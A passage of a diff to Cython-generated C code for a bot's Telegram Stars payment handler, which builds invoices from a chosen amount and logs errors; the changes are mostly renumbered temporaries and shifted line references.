__Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_title, __pyx_t_11) < 0) __PYX_ERR(0, 175, __pyx_L17_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 176, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_format); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 176, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 176, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 176, __pyx_L17_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 176, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_description, __pyx_t_1) < 0) __PYX_ERR(0, 175, __pyx_L17_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_LabeledPrice); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 177, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 177, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_label, __pyx_n_u_XTR) < 0) __PYX_ERR(0, 177, __pyx_L17_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_RUB_TO_XTR); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 177, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_10 = PyNumber_FloorDivide(__pyx_cur_scope->__pyx_v_amount, __pyx_t_2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 177, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_10); - __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyNumber_Int(__pyx_t_10); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 175, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_11); - __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_amount, __pyx_t_11) < 0) __PYX_ERR(0, 175, __pyx_L17_error) - __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 175, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_t_10); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 177, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_amount, __pyx_t_2) < 0) __PYX_ERR(0, 177, __pyx_L17_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 177, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = PyList_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 175, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_1); - __Pyx_GIVEREF(__pyx_t_11); - if (__Pyx_PyList_SET_ITEM(__pyx_t_1, 0, __pyx_t_11)) __PYX_ERR(0, 175, __pyx_L17_error); - __pyx_t_11 = 0; - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_prices, __pyx_t_1) < 0) __PYX_ERR(0, 173, __pyx_L17_error) - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_provider_token, __pyx_kp_u__18) < 0) __PYX_ERR(0, 173, __pyx_L17_error) - - __pyx_t_1 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 177, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_11 = __Pyx_PyUnicode_ConcatInPlace(__pyx_t_1, __pyx_n_u_stars_2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 177, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_11); - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_payload, __pyx_t_11) < 0) __PYX_ERR(0, 173, __pyx_L17_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_currency, __pyx_n_u_XTR) < 0) __PYX_ERR(0, 173, __pyx_L17_error) + __pyx_t_11 = PyList_New(1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 177, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_GIVEREF(__pyx_t_2); + if (__Pyx_PyList_SET_ITEM(__pyx_t_11, 0, __pyx_t_2)) __PYX_ERR(0, 177, __pyx_L17_error); + __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_prices, __pyx_t_11) < 0) __PYX_ERR(0, 175, __pyx_L17_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_provider_token, __pyx_kp_u__12) < 0) __PYX_ERR(0, 175, __pyx_L17_error) - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 179, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = NULL; + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 179, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_2 = __Pyx_PyUnicode_ConcatInPlace(__pyx_t_11, __pyx_n_u_stars_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 179, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_payload, __pyx_t_2) < 0) __PYX_ERR(0, 175, __pyx_L17_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_currency, __pyx_n_u_XTR) < 0) __PYX_ERR(0, 175, __pyx_L17_error) + + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 181, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_1 = NULL; __pyx_t_13 = 0; #if CYTHON_UNPACK_METHODS - if (likely(PyMethod_Check(__pyx_t_1))) { - __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); - if (likely(__pyx_t_2)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); - __Pyx_INCREF(__pyx_t_2); + if (likely(PyMethod_Check(__pyx_t_11))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_11); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_11); + __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_1, function); + __Pyx_DECREF_SET(__pyx_t_11, function); __pyx_t_13 = 1; } } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; - __pyx_t_11 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_13, 0+__pyx_t_13); - __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 179, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_11); - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + PyObject *__pyx_callargs[2] = {__pyx_t_1, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_11, __pyx_callargs+1-__pyx_t_13, 0+__pyx_t_13); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 181, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; } - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_reply_markup, __pyx_t_11) < 0) __PYX_ERR(0, 173, __pyx_L17_error) - __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_reply_markup, __pyx_t_2) < 0) __PYX_ERR(0, 175, __pyx_L17_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_12, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 172, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_11); + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_12, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 174, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_11); - __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_r); if (likely(__pyx_r)) { __Pyx_XGIVEREF(__pyx_t_6); @@ -6713,12 +6708,12 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __pyx_t_8 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_8); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 172, __pyx_L17_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 174, __pyx_L17_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 172, __pyx_L17_error) + else __PYX_ERR(0, 174, __pyx_L17_error) } } @@ -6738,8 +6733,8 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __pyx_t_9 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_9) { __Pyx_AddTraceback("handlers.payments.stars_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_11, &__pyx_t_5, &__pyx_t_12) < 0) __PYX_ERR(0, 181, __pyx_L19_except_error) - __Pyx_XGOTREF(__pyx_t_11); + if (__Pyx_GetException(&__pyx_t_2, &__pyx_t_5, &__pyx_t_12) < 0) __PYX_ERR(0, 183, __pyx_L19_except_error) + __Pyx_XGOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_t_5); __Pyx_XGOTREF(__pyx_t_12); __Pyx_INCREF(__pyx_t_5); @@ -6747,24 +6742,24 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __pyx_cur_scope->__pyx_v_e = __pyx_t_5; /*try:*/ { - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 182, __pyx_L30_error) - __Pyx_GOTREF(__pyx_t_2); - __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_error); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 182, __pyx_L30_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_logger); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 184, __pyx_L30_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_error); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 184, __pyx_L30_error) __Pyx_GOTREF(__pyx_t_10); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 182, __pyx_L30_error) - __Pyx_GOTREF(__pyx_t_2); - __pyx_t_15 = __Pyx_PyUnicode_Concat(__pyx_kp_u__19, __pyx_t_2); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 182, __pyx_L30_error) - __Pyx_GOTREF(__pyx_t_15); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = NULL; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 184, __pyx_L30_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_14 = __Pyx_PyUnicode_Concat(__pyx_kp_u__13, __pyx_t_1); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 184, __pyx_L30_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; __pyx_t_13 = 0; #if CYTHON_UNPACK_METHODS if (unlikely(PyMethod_Check(__pyx_t_10))) { - __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_10); - if (likely(__pyx_t_2)) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_10); + if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_10); - __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_10, function); __pyx_t_13 = 1; @@ -6772,47 +6767,47 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_15}; - __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_10, __pyx_callargs+1-__pyx_t_13, 1+__pyx_t_13); - __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 182, __pyx_L30_error) - __Pyx_GOTREF(__pyx_t_1); + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_t_14}; + __pyx_t_11 = __Pyx_PyObject_FastCall(__pyx_t_10, __pyx_callargs+1-__pyx_t_13, 1+__pyx_t_13); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 184, __pyx_L30_error) + __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; } - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 183, __pyx_L30_error) - __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 185, __pyx_L30_error) + __Pyx_GOTREF(__pyx_t_11); - __pyx_t_10 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 184, __pyx_L30_error) + __pyx_t_10 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 186, __pyx_L30_error) __Pyx_GOTREF(__pyx_t_10); - __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 184, __pyx_L30_error) - __Pyx_GOTREF(__pyx_t_15); - if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_target_message, __pyx_t_15) < 0) __PYX_ERR(0, 184, __pyx_L30_error) - __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; - if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_kp_u__20) < 0) __PYX_ERR(0, 184, __pyx_L30_error) + __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 186, __pyx_L30_error) + __Pyx_GOTREF(__pyx_t_14); + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_target_message, __pyx_t_14) < 0) __PYX_ERR(0, 186, __pyx_L30_error) + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_kp_u__14) < 0) __PYX_ERR(0, 186, __pyx_L30_error) - if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_reply_markup, Py_None) < 0) __PYX_ERR(0, 184, __pyx_L30_error) + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_reply_markup, Py_None) < 0) __PYX_ERR(0, 186, __pyx_L30_error) - __pyx_t_15 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 183, __pyx_L30_error) - __Pyx_GOTREF(__pyx_t_15); - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 185, __pyx_L30_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_15); - __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_14); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; __Pyx_XGOTREF(__pyx_r); if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_2; __Pyx_XGIVEREF(__pyx_t_5); - __pyx_cur_scope->__pyx_t_0 = __pyx_t_5; + __pyx_cur_scope->__pyx_t_1 = __pyx_t_5; __Pyx_XGIVEREF(__pyx_t_6); - __pyx_cur_scope->__pyx_t_1 = __pyx_t_6; + __pyx_cur_scope->__pyx_t_2 = __pyx_t_6; __Pyx_XGIVEREF(__pyx_t_7); - __pyx_cur_scope->__pyx_t_2 = __pyx_t_7; + __pyx_cur_scope->__pyx_t_3 = __pyx_t_7; __Pyx_XGIVEREF(__pyx_t_8); - __pyx_cur_scope->__pyx_t_3 = __pyx_t_8; - __Pyx_XGIVEREF(__pyx_t_11); - __pyx_cur_scope->__pyx_t_4 = __pyx_t_11; + __pyx_cur_scope->__pyx_t_4 = __pyx_t_8; __Pyx_XGIVEREF(__pyx_t_12); __pyx_cur_scope->__pyx_t_5 = __pyx_t_12; __Pyx_XGIVEREF(__pyx_r); @@ -6822,30 +6817,30 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __pyx_generator->resume_label = 7; return __pyx_r; __pyx_L32_resume_from_await:; - __pyx_t_5 = __pyx_cur_scope->__pyx_t_0; + __pyx_t_2 = __pyx_cur_scope->__pyx_t_0; __pyx_cur_scope->__pyx_t_0 = 0; - __Pyx_XGOTREF(__pyx_t_5); - __pyx_t_6 = __pyx_cur_scope->__pyx_t_1; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_5 = __pyx_cur_scope->__pyx_t_1; __pyx_cur_scope->__pyx_t_1 = 0; - __Pyx_XGOTREF(__pyx_t_6); - __pyx_t_7 = __pyx_cur_scope->__pyx_t_2; + __Pyx_XGOTREF(__pyx_t_5); + __pyx_t_6 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; - __Pyx_XGOTREF(__pyx_t_7); - __pyx_t_8 = __pyx_cur_scope->__pyx_t_3; + __Pyx_XGOTREF(__pyx_t_6); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_3; __pyx_cur_scope->__pyx_t_3 = 0; - __Pyx_XGOTREF(__pyx_t_8); - __pyx_t_11 = __pyx_cur_scope->__pyx_t_4; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_4; __pyx_cur_scope->__pyx_t_4 = 0; - __Pyx_XGOTREF(__pyx_t_11); + __Pyx_XGOTREF(__pyx_t_8); __pyx_t_12 = __pyx_cur_scope->__pyx_t_5; __pyx_cur_scope->__pyx_t_5 = 0; __Pyx_XGOTREF(__pyx_t_12); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 183, __pyx_L30_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 185, __pyx_L30_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 183, __pyx_L30_error) + else __PYX_ERR(0, 185, __pyx_L30_error) } } } @@ -6859,41 +6854,41 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __pyx_L30_error:; /*exception exit:*/{ __Pyx_PyThreadState_assign - __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; + __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; - __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0; - __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_21, &__pyx_t_22, &__pyx_t_23); - if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20) < 0)) __Pyx_ErrFetch(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_20, &__pyx_t_21, &__pyx_t_22); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_17, &__pyx_t_18, &__pyx_t_19) < 0)) __Pyx_ErrFetch(&__pyx_t_17, &__pyx_t_18, &__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_17); __Pyx_XGOTREF(__pyx_t_18); __Pyx_XGOTREF(__pyx_t_19); __Pyx_XGOTREF(__pyx_t_20); __Pyx_XGOTREF(__pyx_t_21); __Pyx_XGOTREF(__pyx_t_22); - __Pyx_XGOTREF(__pyx_t_23); - __pyx_t_9 = __pyx_lineno; __pyx_t_16 = __pyx_clineno; __pyx_t_17 = __pyx_filename; + __pyx_t_9 = __pyx_lineno; __pyx_t_15 = __pyx_clineno; __pyx_t_16 = __pyx_filename; { __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; } if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_20); __Pyx_XGIVEREF(__pyx_t_21); __Pyx_XGIVEREF(__pyx_t_22); - __Pyx_XGIVEREF(__pyx_t_23); - __Pyx_ExceptionReset(__pyx_t_21, __pyx_t_22, __pyx_t_23); + __Pyx_ExceptionReset(__pyx_t_20, __pyx_t_21, __pyx_t_22); } + __Pyx_XGIVEREF(__pyx_t_17); __Pyx_XGIVEREF(__pyx_t_18); __Pyx_XGIVEREF(__pyx_t_19); - __Pyx_XGIVEREF(__pyx_t_20); - __Pyx_ErrRestore(__pyx_t_18, __pyx_t_19, __pyx_t_20); - __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; - __pyx_lineno = __pyx_t_9; __pyx_clineno = __pyx_t_16; __pyx_filename = __pyx_t_17; + __Pyx_ErrRestore(__pyx_t_17, __pyx_t_18, __pyx_t_19); + __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; + __pyx_lineno = __pyx_t_9; __pyx_clineno = __pyx_t_15; __pyx_filename = __pyx_t_16; goto __pyx_L19_except_error; } __pyx_L31:; } - __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; goto __pyx_L18_exception_handled; @@ -6927,7 +6922,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __Pyx_XDECREF(__pyx_t_10); __Pyx_XDECREF(__pyx_t_11); __Pyx_XDECREF(__pyx_t_12); - __Pyx_XDECREF(__pyx_t_15); + __Pyx_XDECREF(__pyx_t_14); __Pyx_AddTraceback("process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_L0:; __Pyx_XDECREF(__pyx_r); __pyx_r = 0; @@ -6998,7 +6993,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 189, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 191, __pyx_L3_error) else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: @@ -7006,14 +7001,14 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 189, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 191, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, 1); __PYX_ERR(0, 189, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, 1); __PYX_ERR(0, 191, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_enter_custom_amount") < 0)) __PYX_ERR(0, 189, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_enter_custom_amount") < 0)) __PYX_ERR(0, 191, 